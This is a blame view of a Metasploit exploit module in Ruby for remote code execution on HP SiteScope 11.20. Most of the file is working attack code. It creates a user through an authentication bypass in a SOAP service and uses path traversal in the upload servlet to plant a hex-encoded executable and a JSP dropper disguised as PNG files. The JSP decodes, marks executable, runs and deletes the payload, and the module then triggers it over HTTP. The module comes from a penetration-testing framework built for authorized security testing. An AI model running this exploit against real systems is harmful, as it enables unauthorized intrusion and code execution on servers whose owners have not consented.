Files
metasploit-gs/modules/exploits/multi/http/hp_sitescope_uploadfileshandler.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

367 lines
13 KiB
Ruby
Raw Normal View History

2012-09-05 12:56:09 +02:00
##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
2012-09-05 12:56:09 +02:00
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Exploit::Remote
Rank = GoodRanking
2013-08-30 16:28:54 -05:00
2012-09-05 12:56:09 +02:00
HttpFingerprint = { :pattern => [ /Apache-Coyote/ ] }
2013-08-30 16:28:54 -05:00
2012-09-05 12:56:09 +02:00
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE
2013-08-30 16:28:54 -05:00
2012-09-05 12:56:09 +02:00
def initialize(info = {})
2021-09-10 12:53:39 +01:00
super(
update_info(
info,
'Name' => 'HP SiteScope Remote Code Execution',
'Description' => %q{
2012-09-05 12:56:09 +02:00
This module exploits a code execution flaw in HP SiteScope. It exploits two
2021-09-10 12:53:39 +01:00
vulnerabilities in order to get its objective. An authentication bypass in the
create operation, available through the APIPreferenceImpl AXIS service, to create
a new account with empty credentials and, subsequently, uses the new account to
abuse the UploadManagerServlet and upload an arbitrary payload embedded in a JSP.
The module has been tested successfully on HP SiteScope 11.20 over Windows 2003 SP2
and Linux CentOS 6.3.
},
'Author' => [
2012-09-05 12:56:09 +02:00
'rgod <rgod[at]autistici.org>', # Vulnerability discovery
'juan vazquez' # Metasploit module
],
2021-09-10 12:53:39 +01:00
'License' => MSF_LICENSE,
'References' => [
[ 'CVE', '2012-3260' ],
[ 'CVE', '2012-3261' ],
[ 'OSVDB', '85121' ],
[ 'OSVDB', '85151' ],
2012-09-05 12:56:09 +02:00
[ 'BID', '55269' ],
[ 'BID', '55273' ],
2013-10-21 15:07:07 -05:00
[ 'ZDI', '12-174' ],
[ 'ZDI', '12-175' ]
2012-09-05 12:56:09 +02:00
],
2021-09-10 12:53:39 +01:00
'Privileged' => true,
'Platform' => %w{linux win},
'Targets' => [
[
'HP SiteScope 11.20 / Windows 2003 SP2',
2012-09-05 12:56:09 +02:00
{
'Arch' => ARCH_X86,
'Platform' => 'win'
},
],
2021-09-10 12:53:39 +01:00
[
'HP SiteScope 11.20 / Linux CentOS 6.3',
{
'Arch' => ARCH_X86,
'Platform' => 'linux'
},
2012-09-05 12:56:09 +02:00
]
],
2021-09-10 12:53:39 +01:00
'DefaultTarget' => 0,
2021-10-06 13:43:31 +01:00
'DisclosureDate' => '2012-08-29',
'Compat' => {
'Meterpreter' => {
'Commands' => %w[
stdapi_fs_delete_file
]
}
}
2021-09-10 12:53:39 +01:00
)
)
2013-08-30 16:28:54 -05:00
2012-09-05 12:56:09 +02:00
register_options(
[
Opt::RPORT(8080),
OptString.new('TARGETURI', [true, 'Path to SiteScope', '/SiteScope/'])
2021-09-10 12:53:39 +01:00
]
)
self.needs_cleanup = true
2012-09-05 12:56:09 +02:00
end
2013-08-30 16:28:54 -05:00
def on_new_session(client)
if client.type == "meterpreter"
client.core.use("stdapi") if not client.ext.aliases.include?("stdapi")
client.fs.file.rm("../#{@var_hexfile}.txt")
client.fs.file.rm("../#{@jsp_name}.jsp")
else
if target['Platform'] == 'linux'
client.shell_command_token("rm ../#{@var_hexfile}.txt")
client.shell_command_token("rm ../#{@jsp_name}.jsp")
elsif target['Platform'] == 'win'
client.shell_command_token("del ..\\#{@var_hexfile}.txt")
client.shell_command_token("del ..\\#{@jsp_name}.jsp")
end
end
end
2013-08-30 16:28:54 -05:00
2012-09-05 12:56:09 +02:00
def exploit
2012-11-08 17:42:48 +01:00
@uri = normalize_uri(target_uri.path)
2021-09-10 12:53:39 +01:00
@uri << '/' if @uri[-1, 1] != '/'
2013-08-30 16:28:54 -05:00
# Create user with empty credentials
2016-02-01 15:12:03 -06:00
print_status("Creating user with empty credentials")
2013-08-30 16:28:54 -05:00
if create_user.nil?
2016-02-01 15:12:03 -06:00
print_error("Failed to create user")
return
end
2013-08-30 16:28:54 -05:00
2012-09-05 12:56:09 +02:00
# Generate an initial JSESSIONID
2016-02-01 15:12:03 -06:00
print_status("Retrieving an initial JSESSIONID")
2012-09-05 12:56:09 +02:00
res = send_request_cgi(
2021-09-10 12:53:39 +01:00
'uri' => normalize_uri(@uri, 'servlet/Main'),
'method' => 'POST'
2012-09-05 12:56:09 +02:00
)
2013-08-30 16:28:54 -05:00
2014-05-13 22:56:12 +02:00
if res and res.code == 200 and res.get_cookies =~ /JSESSIONID=([0-9A-F]*);/
2012-09-05 12:56:09 +02:00
session_id = $1
else
2016-02-01 15:12:03 -06:00
print_error("Retrieve of initial JSESSIONID failed")
2012-09-05 12:56:09 +02:00
return
end
2013-08-30 16:28:54 -05:00
2012-09-05 12:56:09 +02:00
# Authenticate
login_data = "j_username=&j_password="
2013-08-30 16:28:54 -05:00
2016-02-01 15:12:03 -06:00
print_status("Authenticating on HP SiteScope Configuration")
2012-09-05 12:56:09 +02:00
res = send_request_cgi(
{
2021-09-10 12:53:39 +01:00
'uri' => normalize_uri(@uri, 'j_security_check'),
2012-09-05 12:56:09 +02:00
'method' => 'POST',
2021-09-10 12:53:39 +01:00
'data' => login_data,
'ctype' => "application/x-www-form-urlencoded",
2012-09-05 12:56:09 +02:00
'headers' =>
{
'Cookie' => "JSESSIONID=#{session_id}",
}
2021-09-10 12:53:39 +01:00
}
)
2013-08-30 16:28:54 -05:00
2014-05-13 22:56:12 +02:00
if res and res.code == 302 and res.get_cookies =~ /JSESSIONID=([0-9A-F]*);/
2012-09-05 12:56:09 +02:00
session_id = $1
2021-09-10 12:53:39 +01:00
redirect = URI(res.headers['Location']).path
2012-09-05 12:56:09 +02:00
else
2016-02-01 15:12:03 -06:00
print_error("Authentication on SiteScope failed")
2012-09-05 12:56:09 +02:00
return
end
2013-08-30 16:28:54 -05:00
2012-09-05 12:56:09 +02:00
# Follow redirection to complete authentication process
2016-02-01 15:12:03 -06:00
print_status("Following redirection to finish authentication")
2012-09-05 12:56:09 +02:00
res = send_request_cgi(
{
'uri' => redirect,
'method' => 'GET',
'headers' =>
{
'Cookie' => "JSESSIONID=#{session_id}",
}
2021-09-10 12:53:39 +01:00
}
)
2013-08-30 16:28:54 -05:00
2012-09-05 12:56:09 +02:00
if not res or res.code != 200
2016-02-01 15:12:03 -06:00
print_error("Authentication on SiteScope failed")
2012-09-05 12:56:09 +02:00
return
end
2013-08-30 16:28:54 -05:00
2012-09-05 12:56:09 +02:00
# Upload the JSP and the raw payload
2021-09-10 12:53:39 +01:00
@jsp_name = rand_text_alphanumeric(8 + rand(8))
2013-08-30 16:28:54 -05:00
2012-09-05 12:56:09 +02:00
# begin <payload>.jsp
2021-09-10 12:53:39 +01:00
var_hexpath = Rex::Text.rand_text_alpha(rand(8) + 8)
var_exepath = Rex::Text.rand_text_alpha(rand(8) + 8)
var_data = Rex::Text.rand_text_alpha(rand(8) + 8)
var_inputstream = Rex::Text.rand_text_alpha(rand(8) + 8)
var_outputstream = Rex::Text.rand_text_alpha(rand(8) + 8)
var_numbytes = Rex::Text.rand_text_alpha(rand(8) + 8)
var_bytearray = Rex::Text.rand_text_alpha(rand(8) + 8)
var_bytes = Rex::Text.rand_text_alpha(rand(8) + 8)
var_counter = Rex::Text.rand_text_alpha(rand(8) + 8)
var_char1 = Rex::Text.rand_text_alpha(rand(8) + 8)
var_char2 = Rex::Text.rand_text_alpha(rand(8) + 8)
var_comb = Rex::Text.rand_text_alpha(rand(8) + 8)
var_exe = Rex::Text.rand_text_alpha(rand(8) + 8)
@var_hexfile = Rex::Text.rand_text_alpha(rand(8) + 8)
var_proc = Rex::Text.rand_text_alpha(rand(8) + 8)
var_fperm = Rex::Text.rand_text_alpha(rand(8) + 8)
var_fdel = Rex::Text.rand_text_alpha(rand(8) + 8)
jspraw = "<%@ page import=\"java.io.*\" %>\n"
2012-09-05 12:56:09 +02:00
jspraw << "<%\n"
jspraw << "String #{var_hexpath} = application.getRealPath(\"/\") + \"/#{@var_hexfile}.txt\";\n"
2012-09-05 12:56:09 +02:00
jspraw << "String #{var_exepath} = System.getProperty(\"java.io.tmpdir\") + \"/#{var_exe}\";\n"
jspraw << "String #{var_data} = \"\";\n"
2013-08-30 16:28:54 -05:00
2012-09-05 12:56:09 +02:00
jspraw << "if (System.getProperty(\"os.name\").toLowerCase().indexOf(\"windows\") != -1){\n"
jspraw << "#{var_exepath} = #{var_exepath}.concat(\".exe\");\n"
jspraw << "}\n"
2013-08-30 16:28:54 -05:00
2012-09-05 12:56:09 +02:00
jspraw << "FileInputStream #{var_inputstream} = new FileInputStream(#{var_hexpath});\n"
jspraw << "FileOutputStream #{var_outputstream} = new FileOutputStream(#{var_exepath});\n"
2013-08-30 16:28:54 -05:00
2012-09-05 12:56:09 +02:00
jspraw << "int #{var_numbytes} = #{var_inputstream}.available();\n"
jspraw << "byte #{var_bytearray}[] = new byte[#{var_numbytes}];\n"
jspraw << "#{var_inputstream}.read(#{var_bytearray});\n"
jspraw << "#{var_inputstream}.close();\n"
2013-08-30 16:28:54 -05:00
2012-09-05 12:56:09 +02:00
jspraw << "byte[] #{var_bytes} = new byte[#{var_numbytes}/2];\n"
jspraw << "for (int #{var_counter} = 0; #{var_counter} < #{var_numbytes}; #{var_counter} += 2)\n"
jspraw << "{\n"
jspraw << "char #{var_char1} = (char) #{var_bytearray}[#{var_counter}];\n"
jspraw << "char #{var_char2} = (char) #{var_bytearray}[#{var_counter} + 1];\n"
jspraw << "int #{var_comb} = Character.digit(#{var_char1}, 16) & 0xff;\n"
jspraw << "#{var_comb} <<= 4;\n"
jspraw << "#{var_comb} += Character.digit(#{var_char2}, 16) & 0xff;\n"
jspraw << "#{var_bytes}[#{var_counter}/2] = (byte)#{var_comb};\n"
jspraw << "}\n"
2013-08-30 16:28:54 -05:00
2012-09-05 12:56:09 +02:00
jspraw << "#{var_outputstream}.write(#{var_bytes});\n"
jspraw << "#{var_outputstream}.close();\n"
2013-08-30 16:28:54 -05:00
2012-09-05 12:56:09 +02:00
jspraw << "if (System.getProperty(\"os.name\").toLowerCase().indexOf(\"windows\") == -1){\n"
jspraw << "String[] #{var_fperm} = new String[3];\n"
jspraw << "#{var_fperm}[0] = \"chmod\";\n"
jspraw << "#{var_fperm}[1] = \"+x\";\n"
jspraw << "#{var_fperm}[2] = #{var_exepath};\n"
jspraw << "Process #{var_proc} = Runtime.getRuntime().exec(#{var_fperm});\n"
jspraw << "if (#{var_proc}.waitFor() == 0) {\n"
jspraw << "#{var_proc} = Runtime.getRuntime().exec(#{var_exepath});\n"
jspraw << "}\n"
# Linux and other UNICES allow removing files while they are in use...
jspraw << "File #{var_fdel} = new File(#{var_exepath}); #{var_fdel}.delete();\n"
jspraw << "} else {\n"
# Windows does not ..
jspraw << "Process #{var_proc} = Runtime.getRuntime().exec(#{var_exepath});\n"
jspraw << "}\n"
2013-08-30 16:28:54 -05:00
2012-09-05 12:56:09 +02:00
jspraw << "%>\n"
2013-08-30 16:28:54 -05:00
2012-09-05 12:56:09 +02:00
# Specify the payload in hex as an extra file..
payload_hex = payload.encoded_exe.unpack('H*')[0]
2013-08-30 16:28:54 -05:00
2012-09-05 12:56:09 +02:00
post_data = Rex::MIME::Message.new
post_data.add_part(payload_hex, "application/octet-stream", nil, "form-data; name=\"#{rand_text_alpha(4)}\"; filename=\"#{rand_text_alpha(4)}.png\"")
2013-08-30 16:28:54 -05:00
if target['Platform'] == "linux"
traversal = "../../../../../../"
elsif target['Platform'] == "win"
traversal = "..\\..\\..\\..\\..\\..\\"
end
2013-08-30 16:28:54 -05:00
2016-02-01 15:12:03 -06:00
print_status("Uploading the payload")
2012-09-05 12:56:09 +02:00
res = send_request_cgi(
{
2021-09-10 12:53:39 +01:00
'uri' => "#{@uri}upload?REMOTE_HANDLER_KEY=UploadFilesHandler&UploadFilesHandler.file.name=#{traversal}#{@var_hexfile}.txt&UploadFilesHandler.ovveride=true",
2012-09-05 12:56:09 +02:00
'method' => 'POST',
2021-09-10 12:53:39 +01:00
'data' => post_data.to_s,
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
2012-09-05 12:56:09 +02:00
'headers' =>
{
'Cookie' => "JSESSIONID=#{session_id}",
}
2021-09-10 12:53:39 +01:00
}
)
2013-08-30 16:28:54 -05:00
2012-09-05 12:56:09 +02:00
if res and res.code == 200 and res.body =~ /file: (.*) uploaded succesfuly to server/
path = $1
2016-02-01 15:12:03 -06:00
print_good("Payload successfully uploaded to #{path}")
2012-09-05 12:56:09 +02:00
else
2016-02-01 15:12:03 -06:00
print_error("Error uploading the Payload")
2012-09-05 12:56:09 +02:00
return
end
2013-08-30 16:28:54 -05:00
2012-09-05 12:56:09 +02:00
post_data = Rex::MIME::Message.new
post_data.add_part(jspraw, "application/octet-stream", nil, "form-data; name=\"#{rand_text_alpha(4)}\"; filename=\"#{rand_text_alpha(4)}.png\"")
2013-08-30 16:28:54 -05:00
2016-02-01 15:12:03 -06:00
print_status("Uploading the JSP")
2012-09-05 12:56:09 +02:00
res = send_request_cgi(
{
2021-09-10 12:53:39 +01:00
'uri' => normalize_uri(@uri, 'upload') + "?REMOTE_HANDLER_KEY=UploadFilesHandler&UploadFilesHandler.file.name=#{traversal}#{@jsp_name}.jsp&UploadFilesHandler.ovveride=true",
2012-09-05 12:56:09 +02:00
'method' => 'POST',
2021-09-10 12:53:39 +01:00
'data' => post_data.to_s,
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
2012-09-05 12:56:09 +02:00
'headers' =>
{
'Cookie' => "JSESSIONID=#{session_id}",
}
2021-09-10 12:53:39 +01:00
}
)
2013-08-30 16:28:54 -05:00
2012-09-05 12:56:09 +02:00
if res and res.code == 200 and res.body =~ /file: (.*) uploaded succesfuly to server/
path = $1
2016-02-01 15:12:03 -06:00
print_good("JSP successfully uploaded to #{path}")
2012-09-05 12:56:09 +02:00
else
2016-02-01 15:12:03 -06:00
print_error("Error uploading the JSP")
2012-09-05 12:56:09 +02:00
return
end
2013-08-30 16:28:54 -05:00
print_status("Triggering payload at '#{@uri}#{@jsp_name}.jsp' ...")
2012-09-05 12:56:09 +02:00
send_request_cgi(
{
2021-09-10 12:53:39 +01:00
'uri' => normalize_uri(@uri, "#{@jsp_name}.jsp"),
2012-09-05 12:56:09 +02:00
'method' => 'GET',
'headers' =>
{
'Cookie' => "JSESSIONID=#{session_id}",
}
2021-09-10 12:53:39 +01:00
}
)
2012-09-05 12:56:09 +02:00
end
2013-08-30 16:28:54 -05:00
def create_user
2012-09-05 12:56:09 +02:00
data = "<?xml version='1.0' encoding='UTF-8'?>" + "\r\n"
data << "<wsns0:Envelope" + "\r\n"
data << "xmlns:wsns1='http://www.w3.org/2001/XMLSchema-instance'" + "\r\n"
data << "xmlns:xsd='http://www.w3.org/2001/XMLSchema'" + "\r\n"
data << "xmlns:wsns0='http://schemas.xmlsoap.org/soap/envelope/'" + "\r\n"
data << ">" + "\r\n"
data << "<wsns0:Body" + "\r\n"
data << "wsns0:encodingStyle='http://schemas.xmlsoap.org/soap/encoding/'" + "\r\n"
data << ">" + "\r\n"
data << "<impl:create" + "\r\n"
2012-09-05 12:56:09 +02:00
data << "xmlns:impl='http://Api.freshtech.COM'" + "\r\n"
data << ">" + "\r\n"
data << "<in0" + "\r\n"
data << "xsi:type='xsd:string'" + "\r\n"
data << "xmlns:xsi='http://www.w3.org/2001/XMLSchema-instance'" + "\r\n"
data << ">UserInstancePreferences</in0>" + "\r\n"
data << "<in1" + "\r\n"
data << "xsi:type='apachesoap:Map'" + "\r\n"
data << "xmlns:xsi='http://www.w3.org/2001/XMLSchema-instance'" + "\r\n"
data << ">" + "\r\n"
data << "<item" + "\r\n"
data << "xsi:type='apachesoap:mapItem'" + "\r\n"
data << ">" + "\r\n"
data << "<key" + "\r\n"
data << "xsi:nil='true'" + "\r\n"
data << "xsi:type='xsd:anyType'" + "\r\n"
data << "></key>" + "\r\n"
data << "<value" + "\r\n"
data << "xsi:nil='true'" + "\r\n"
data << "xsi:type='xsd:anyType'" + "\r\n"
data << "></value>" + "\r\n"
data << "</item>" + "\r\n"
data << "</in1>" + "\r\n"
data << "</impl:create>" + "\r\n"
2012-09-05 12:56:09 +02:00
data << "</wsns0:Body>" + "\r\n"
data << "</wsns0:Envelope>" + "\r\n"
2013-08-30 16:28:54 -05:00
2012-09-05 12:56:09 +02:00
res = send_request_cgi({
2021-09-10 12:53:39 +01:00
'uri' => normalize_uri(@uri, 'services/APIPreferenceImpl'),
'method' => 'POST',
'ctype' => 'text/xml; charset=UTF-8',
'data' => data,
'headers' => {
'SOAPAction' => '""',
}
})
2013-08-30 16:28:54 -05:00
if res and res.code == 200 and res.body =~ /createResponse/ and res.body =~ /_id/
return res
2012-09-05 12:56:09 +02:00
end
2013-08-30 16:28:54 -05:00
2012-09-05 12:56:09 +02:00
return nil
end
end